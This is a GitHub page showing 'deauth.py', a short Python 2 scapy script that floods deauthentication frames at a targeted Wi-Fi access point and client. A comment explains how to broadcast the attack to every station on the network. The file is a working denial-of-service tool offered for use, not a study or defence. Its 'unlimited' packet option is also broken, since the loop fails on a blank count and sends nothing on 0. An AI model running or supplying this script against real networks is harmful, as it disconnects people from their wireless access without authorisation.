-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdeauth.py
More file actions
executable file
·29 lines (20 loc) · 1.01 KB
/
Copy pathdeauth.py
File metadata and controls
executable file
·29 lines (20 loc) · 1.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
# Change the client to FF:FF:FF:FF:FF:FF if you want a broadcasted deauth to all stations on the targeted Access Point
import argparse
import sys
from scapy.all import *
parser = argparse.ArgumentParser(description="Wifi AP deauth.")
parser.add_argument("-i", "--interface", type=str, required=True, help="interface")
parser.add_argument("-a", "--access-point", type=str, required=True, help="Target access point")
parser.add_argument("-c", "--client", type=str, required=True, help="Target client")
parser.add_argument("-n", "--number", type=int, required=False, help="Number of packets (blank or 0 for unlimited)")
args = parser.parse_args()
conf.iface = args.interface
bssid = args.access_point
client = args.client
count = args.number
conf.verb = 0
packet = RadioTap()/Dot11(type=0,subtype=12,addr1=client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7)
for n in range(int(count)):
sendp(packet)
print 'Deauth sent via: ' + conf.iface + ' to BSSID: ' + bssid + ' for Client: ' + client